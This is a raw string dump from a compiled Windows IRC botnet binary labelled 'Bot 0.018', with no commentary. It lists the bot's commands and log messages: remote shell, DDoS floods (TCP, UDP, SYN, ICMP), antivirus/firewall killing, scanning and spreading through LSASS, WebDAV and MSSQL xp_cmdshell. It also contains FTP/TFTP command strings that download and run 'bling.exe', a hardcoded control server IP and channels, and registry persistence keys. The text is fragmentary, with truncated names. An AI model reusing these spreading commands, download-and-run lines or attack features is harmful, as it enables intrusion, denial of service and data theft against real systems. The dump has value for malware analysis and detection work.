"[MAIN]: Removing Bot."
"[PROCS]: Failed to start listing thread, error: <%d>."
"[PROCS]: Proccess list."
"full"
"[PROC]: Already running."
"[MAIN]: Uptime: %s."
"[CMD]: Remote shell ready."
"[CMD]: Couldn"
"[CMD]: Remote shell already running."
"[MAIN]: Get Clipboard."
"-[Clipboard Data]-"
"[FLUSHDNS]: Failed to flush ARP cache."
"[FLUSHDNS]: ARP cache flushed."
"[FLUSHDNS]: Failed to load dnsapi.dll."
"[FLUSHDNS]: Failed to flush DNS cache."
"[FLUSHDNS]: DNS cache flushed."
"[RLOGIND]: Failed to start server thread, error: <%d>."
"[RLOGIND]: Server listening on IP: %s:%d, Username: %s."
"[HTTPD]: Failed to start server thread, error: <%d>."
"[TFTP]: Failed to start server thread, error: <%d>."
"[TFTP]: Already running."
"[SCAN]: Failed to start scan, port is invalid."
"[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds "
"Sequential"
"Random"
"[SCAN]: Already %d scanning threads. Too many specified."
"[MAIN]: Nick changed to: "
"[MAIN]: Joined channel: "
"[MAIN]: Parted channel: "
"[MAIN]: IRC Raw: %s."
"[THREADS]: Failed to kill thread: %s."
"[THREADS]: Killed thread: %s."
"[THREADS]: No active threads found."
"[THREADS]: Stopped: %d thread(s)."
"all"
"QUIT :later"
"[MAIN]: Prefix changed to: "
"[SHELL]: Couldn"
"[SHELL]: File opened: %s"
"[MAIN]: Server changed to: "
"[DNS]: Couldn"
"[DNS]: Lookup: %s -> %s."
"[PROC]: Failed to terminate process: %s"
"[PROC]: Process killed: %s"
"[PROC]: Process killed & deleted: %s"
"[PROC]: Failed to terminate process ID: %s"
"[PROC]: Process killed ID: %s"
"[FILE]: Deleted "
"[FILE]: List: %s"
"[mIRC]: Command sent."
"[mIRC]: Client not open."
"[CMD]: Commands: %s"
"[CMD]: Error sending to remote shell."
"[MAIN]: Read file failed: %s"
"[MAIN]: Read file complete: %s"
"[MAIN]: Gethost: %s."
"[MAIN]: Unable to extract Gethost command."
"[MAIN]: Gethost: %s, Command: %s"
"[MAIN]: Alias added: %s."
"[MAIN]: Privmsg: %s: %s."
"[MAIN]: Action: %s: %s."
"[MAIN]: Cycle."
"PART %s"
"[MAIN]: Mode change: %s"
"MODE %s"
"[CLONE]: Raw (%s): %s"
"[CLONE]: Mode (%s): %s"
"MODE %s"
"[CLONE]: Nick (%s): %s"
"NICK %s"
"JOIN %s %s"
"%s"
"PART %s"
"[MAIN]: Repeat not allowed in command line: %s"
"[MAIN]: Repeat: %s"
"[MAIN]: Delay."
"%s %s %s :%s"
"[UPDATE]: Up to Date"
"[UPDATE]: Failed to start download thread, error: <%d>."
"[UPDATE]: Downloading update from: %s."
"%s%s.exe"
"[EXEC]: Commands: %s"
"[EXEC]: Couldn"
"[FILE]:"
"[FILE]: Rename: "
"[ICMP]: Invalid flood time must be greater than 0."
"[ICMP]: Failed to start flood thread, error: <%d>."
"[ICMP]: Flooding: (%s) for %s seconds."
"[CLONES]: Failed to start clone thread, error: <%d>."
"[CLONES]: Created on %s:%d, in channel %s."
"[DOWNLOAD]: Failed to start transfer thread, error: <%d>."
"[DOWNLOAD]: Downloading URL: %s to: %s."
"[REDIRECT]: Failed to start redirection thread, error: <%d>."
"[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d."
"[SCAN]: Failed to start scan thread, error: <%d>."
"[SCAN]: Port scan started: %s:%d with delay: %d(ms)."
"[%s] <%s> %s"
"[%s] * %s %s"
"c_pm"
"c_privmsg"
"sc"
"scan"
"rd"
"redirect"
"dl"
"download"
"clone"
"icmp"
"icmpflood"
"mv"
"rename"
"execute"
"update"
"de"
"delay"
"rp"
"repeat"
"c_p"
"c_part"
"c_j"
"c_join"
"c_n"
"c_nick"
"c_m"
"c_mode"
"c_r"
"c_raw"
"mode"
"cy"
"cycle"
"action"
"pm"
"privmsg"
"aa"
"addalias"
"[AVFW]: Failed to start AV/FW killer thread, error: <%d>."
"[AVFW]"
"Killer Thread"
"[AVFW]: AV/FW/BOT Killer active."
"avfwkiller"
"gh"
"gethost"
"[NET]: Command unknown."
"[NET]: No message specified."
"[NET]: User list failed."
"[NET]: User list completed."
"[NET]: Share list failed."
"[NET]: Share list completed."
"share"
"continue"
"pause"
"stop"
"[NET]: Service list failed."
"[NET]: Service list completed."
"start"
"[NET]: Failed to load advapi32.dll or netapi32.dll."
"net"
"rf"
"readfile"
"cm"
"cmd"
"mirc"
"mirccmd"
"li"
"list"
"del"
"delete"
"ki"
"kill"
"kdp"
"killdelproc"
"kp"
"killproc"
"dn"
"dns"
"se"
"open"
"pr"
"prefix"
"c_rn"
"c_rndnick"
"c_q"
"c_quit"
"killthread"
"raw"
"pt"
"part"
"join"
"nick"
"scanall"
"tftp"
"tftpserver"
"http"
"httpserver"
"rlogin"
"rloginserver"
"cip"
"currentip"
"fdns"
"flushdns"
"farp"
"flusharp"
"gc"
"getclip"
"[EMAIL]: Message sent to %s."
"helo $rndnick"
"email"
"tcp"
"tcpflood"
"ping"
"pingflood"
"udp"
"udpflood"
"asc"
"advscan"
"[MAIN]: Login list complete."
"%d. %s"
""
"-[Login List]-"
"who"
"[CMD]"
"Remote shell"
"cmdstop"
"ocmd"
"opencmd"
"dll"
"testdlls"
"drv"
"driveinfo"
"up"
"uptime"
"ps"
"procs"
"erradicate"
"destroy"
"si"
"sysinfo"
"ni"
"netinfo"
"clg"
"clearlog"
"lg"
"log"
"al"
"aliases"
"threads"
"[MAIN]: Failed to reboot system."
"[MAIN]: Rebooting system."
"reboot"
"id"
"status"
"quit"
"dc"
"disconnect"
"reconnect"
"stats"
"scanstats"
"[SCAN]"
"Scan"
"scanstop"
"[SECURE]"
"Secure"
"securestop"
"[CLONES]"
"Clone"
"clonestop"
"psstop"
"procsstop"
"[TFTP]"
"tftpstop"
"TCP flood"
"tcpstop"
"[ICMP]"
"ICMP flood"
"icmpstop"
"[PING]"
"Ping flood"
"pingstop"
"[UPD]"
"UDP flood"
"udpstop"
"[SYN]"
"Syn flood"
"synstop"
"[DDoS]"
"DDoS flood"
"ddos.stop"
"[REDIRECT]"
"TCP redirect"
"redirectstop"
"[LOG]"
"Log list"
"logstop"
"[HTTPD]"
"httpstop"
"[RLOGIND]"
"rloginstop"
"[SOCKS4]"
"Server"
"socks4stop"
"s4"
"socks4"
"unsec"
"unsecure"
"sec"
"secure"
"ver"
"version"
"lo"
"logout"
"die"
"rn"
"rndnick"
"63"
"$chr("
"$server"
"$rndnick"
"$chan"
"$user"
"$me"
"$%d"
"$%d-"
"[MAIN]: Joined channel: %s."
"[MAIN]: User: %s logged out."
"353"
"PART"
":%s%s"
"NICK"
"NOTICE %s :%s"
"[MAIN]: User %s logged out."
"KICK"
"NICK %s"
"433"
"302"
"005"
"001"
"JOIN %s %s"
"PONG %s"
"PING"
"[SECURE]: System secure monitor active."
"[MAIN]: Bot started."
"%s %d "%s""
"%s\%s"
"[REDIRECT]: Failed to start connection thread, error: <%d>."
"[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d."
"[REDIRECT]: Failed to start client thread, error: <%d>."
"[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d."
"PRIVMSG %s :%s"
"[CMD]: Could not read data from proccess."
"[CMD]: Proccess has terminated."
"[CMD]: Could not read data from proccess"
"[CMD]: Failed to start IO thread, error: <%d>."
"[CMD]: Remote Command Prompt"
"cmd.exe"
"[RLOGIND]: Protocol string too long."
"[RLOGIND]: Login rejected, Remote user: <%s@%s>."
"[RLOGIND]: User logged out: <%s@%s>."
"[RLOGIND]: Error: SessionRun(): <%d>."
"[RLOGIND]: User logged in: <%s@%s>."
"Permission denied"
"[RLOGIND]: Error: getpeername(): <%d>."
"[RLOGIND]: Error: server failed, returned: <%d>."
"[RLOGIND]: Failed to start client thread, error: <%d>."
"[RLOGIND]: Client connection from IP: %s:%d, Server thread: %d."
"[RLOGIND]: Ready and waiting for incoming connections."
"[RLOGIND]: Failed to install control-C handler, error: <%d>."
"[RLOGIND]: Error: WSAStartup(): <%d>."
"%s%i"
"PC"
"[%s]"
"???"
"2K3"
"XP"
"2K"
"ME"
"98"
"NT"
"95"
"[%d]%s"
"[M]"
"[SCAN]: IP: %s Port: %d is open."
"[SCAN]: Scanning IP: %s, Port: %d."
"D:\"
"D$"
"C:\"
"C$"
"ADMIN$"
"IPC$"
"[SECURE]: Netapi32.dll couldn"
"[SECURE]: Network shares deleted."
"[SECURE]: Failed to delete "
"[SECURE]: Share "
"[SECURE]: Failed to delete "
"[SECURE]: Share "
"[SECURE]: Advapi32.dll couldn"
"[SECURE]: Failed to open IPC$ Restriction registry key."
"[SECURE]: Restricted access to the IPC$ Share."
"[SECURE]: Failed to restrict access to the IPC$ Share."
"restrictanonymous"
"[SECURE]: Failed to open DCOM registry key."
"[SECURE]: DCOM disabled."
"[SECURE]: Disable DCOM failed."
"EnableDCOM"
"[SECURE]: Network shares added."
"%c:\"
"%c$"
"[SECURE]: Failed to add "
"[SECURE]: Share "
"[SECURE]: Failed to open IPC$ restriction registry key."
"[SECURE]: Unrestricted access to the IPC$ Share."
"[SECURE]: Failed to unrestrict access to the IPC$ Share."
"[SECURE]: DCOM enabled."
"[SECURE]: Enable DCOM failed."
"[RLOGIND]: Failed to execute shell, error: <%d>."
"cmd /q"
"[RLOGIND]: SessionReadShellThread exited, error: <%ld>."
"[RLOGIND]: Failed to execute shell."
"[RLOGIND]: Failed to create shell stdin pipe, error: <%d>."
"[RLOGIND]: Failed to create shell stdout pipe, error: <%d>."
"[RLOGIND]: WaitForMultipleObjects error: <%d>."
"[RLOGIND]: Failed to create ReadShell session thread, error: <%d>"
"[SOCKS4]: Error: Failed to connect to target, returned: <%d>."
"[SOCKS4]: Error: Failed to open socket(), returned: <%d>."
"[SOCKS4]: Authentication failed. Remote userid: %s != %s."
"[SOCKS4]: Failed to start server on Port %d."
"[SOCKS4]: Failed to start client thread, error: <%d>."
"[SOCKS4]: Client connection from IP: %s:%d, Server thread: %d."
"%dd %dh %dm"
"[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:"
"dd:MMM:yyyy"
"couldn"
"%s (%s)"
"[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s."
"[TCP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/se"
"[TCP]: Invalid target IP."
"[TCP]: Error: setsockopt() failed, returned: <%d>."
"[TCP]: Error: socket() failed, returned: <%d>."
"[TFTP]: File not found: %s (%s)."
"[TFTP]: File transfer started to IP: %s (%s)."
"[TFTP]: Failed to open file: %s."
"[TFTP]: Error: socket() failed, returned: <%d>."
"octet"
"-[Thread List]-"
"%s: No %s thread found."
"%s: %s stopped. (%d thread(s) stopped.)"
"[%s]: Exploiting IP: %s."
"Host: %s"
" HTTP/1.1"
"SEARCH /"
"echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &"
"tftp -i %s get %s"
"NILSISGAY!!"
"echo open %s %d>o&echo USER a>>o&echo a>>o&echo binary>>o&echo ge"
"\\%s\ipc$"
"[%s]: Trying to Xploit IP: %s."
"[%s]: Exploiting IP: (%s:%d) User: (%s/%s)."
"[TFTP]: File transfer complete to IP: %s"
"EXEC master..xp_cmdshell "
"EXEC master..xp_cmdshell "
"DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s"
"CorExitProcess"
"mscoree.dll"
"(null)"
"IsProcessorFeaturePresent"
"KERNEL32"
"atan"
"ceil"
"floor"
"modf"
"exp2"
"exp10"
"log2"
"pow"
"log10"
"exp"
"R6027"
"R6026"
"R6025"
"R6024"
"R6019"
"R6018"
"R6017"
"R6016"
""
"R6009"
"R6008"
"R6002"
"Microsoft Visual C++ Runtime Library"
""
"Runtime Error!"
"..."
""
"dddd, MMMM dd, yyyy"
"MM/dd/yy"
"December"
"November"
"October"
"September"
"August"
"July"
"June"
"April"
"March"
"February"
"January"
"Dec"
"Nov"
"Oct"
"Sep"
"Aug"
"Jul"
"Jun"
"May"
"Apr"
"Mar"
"Feb"
"Jan"
"Saturday"
"Friday"
"Thursday"
"Wednesday"
"Tuesday"
"Monday"
"Sunday"
"Sat"
"Fri"
"Thu"
"Wed"
"Tue"
"Mon"
"Sun"
"InitializeCriticalSectionAndSpinCount"
"Buffer overrun detected!"
"A security error of unknown cause has been detected which has"
"Unknown security failure detected!"
"_nextafter"
"_logb"
"_yn"
"_y1"
"_y0"
"frexp"
"fmod"
"_hypot"
"_cabs"
"ldexp"
"fabs"
"tan"
"cos"
"sin"
"sqrt"
"atan2"
"acos"
"asin"
"tanh"
"cosh"
"sinh"
"GetProcessWindowStation"
"GetUserObjectInformationA"
"GetLastActivePopup"
"GetActiveWindow"
"MessageBoxA"
"SunMonTueWedThuFriSat"
"JanFebMarAprMayJunJulAugSepOctNovDec"
"1#QNAN"
"1#INF"
"1#IND"
"1#SNAN"
"tTickCount"
"tLastError"
"e"
"CreateThread"
"tModuleFileNameA"
"¬"
"ExitThread"
"aveCriticalSection"
"EnterCriticalSection"
"itializeCriticalSectionAndSpinCount"
"v"
"DeleteCriticalSection"
"tLocalTime"
"ExitProcess"
"CreateProcessA"
"CloseHandle"
"WriteFile"
"J"
"CreateFileA"
"tSystemDirectoryA"
"FindClose"
"FileTimeToSystemTime"
"FileTimeToLocalFileTime"
"FindNextFileA"
"FindFirstFileA"
"ReadFile"
"SetFilePointer"
"GetFileAttributesA"
"adLibraryA"
"tProcAddress"
"GetModuleHandleA"
"à"
"FormatMessageA"
"obalUnlock"
"obalLock"
"UnmapViewOfFile"
"pViewOfFile"
"K"
"CreateFileMappingA"
"SetFileTime"
"ExpandEnvironmentStringsA"
"SetFileAttributesA"
"tTempPathA"
"ltiByteToWideChar"
"WideCharToMultiByte"
"tComputerNameA"
"tCurrentProcess"
"DeleteFileA"
"TerminateProcess"
"lstrcmpiA"
"OpenProcess"
"GetCurrentProcessId"
"CopyFileA"
"itForSingleObject"
"W"
"CreateMutexA"
"GetExitCodeProcess"
"ekNamedPipe"
"ˆ"
"DuplicateHandle"
"CreatePipe"
"tConsoleCtrlHandler"
"GenerateConsoleCtrlEvent"
"WaitForMultipleObjects"
"obalMemoryStatus"
"KERNEL32.dll"
"WS2_32.dll"
"GetSystemTimeAsFileTime"
"GetCurrentThreadId"
"sSetValue"
"TlsGetValue"
"sAlloc"
"apDestroy"
"HeapCreate"
"rtualFree"
"VirtualAlloc"
"IsBadWritePtr"
"LCMapStringA"
"LCMapStringW"
"ë"
"GetACP"
"tOEMCP"
"GetCPInfo"
"tStdHandle"
"handledExceptionFilter"
"ã"
"FreeEnvironmentStringsA"
"GetEnvironmentStrings"
"ä"
"FreeEnvironmentStringsW"
"tEnvironmentStringsW"
"SetHandleCount"
"tFileType"
"VirtualProtect"
"tSystemInfo"
"rtualQuery"
"tStringTypeA"
"GetStringTypeW"
"tStdHandle"
"FlushFileBuffers"
"itializeCriticalSection"
"eryPerformanceCounter"
"SetUnhandledExceptionFilter"
"WebDav"
"mssql"
"lsass_445"
"lsass_445"
"lsass_445"
"lsass_139"
"Bot018"
"[Bot 0.018]"
"n3m3s1s"
"217.170.244.2"
"#hell"
"troopers"
"Network Host Service"
"[SOUL]"
"sysconfig.dat"
"+ix"
"#murders"
"#hell"
"#sniffing"
"oftware\Microsoft\Windows\CurrentVersion\RunServices"
"Software\Microsoft\OLE"
"SYSTEM\CurrentControlSet\Control\Lsa"
"letter"
"j"
""
"PC NETWORK PROGRAM 1.0"
"indows for Workgroups 3.1a"
"?????"
"WinXP Professional [universal] lsass.exe "
"PC NETWORK PROGRAM 1.0"
"indows for Workgroups 3.1a"
"?????"
"WinXP Professional [universal] lsass.exe "
"C:\m_unpacker\packed.exe"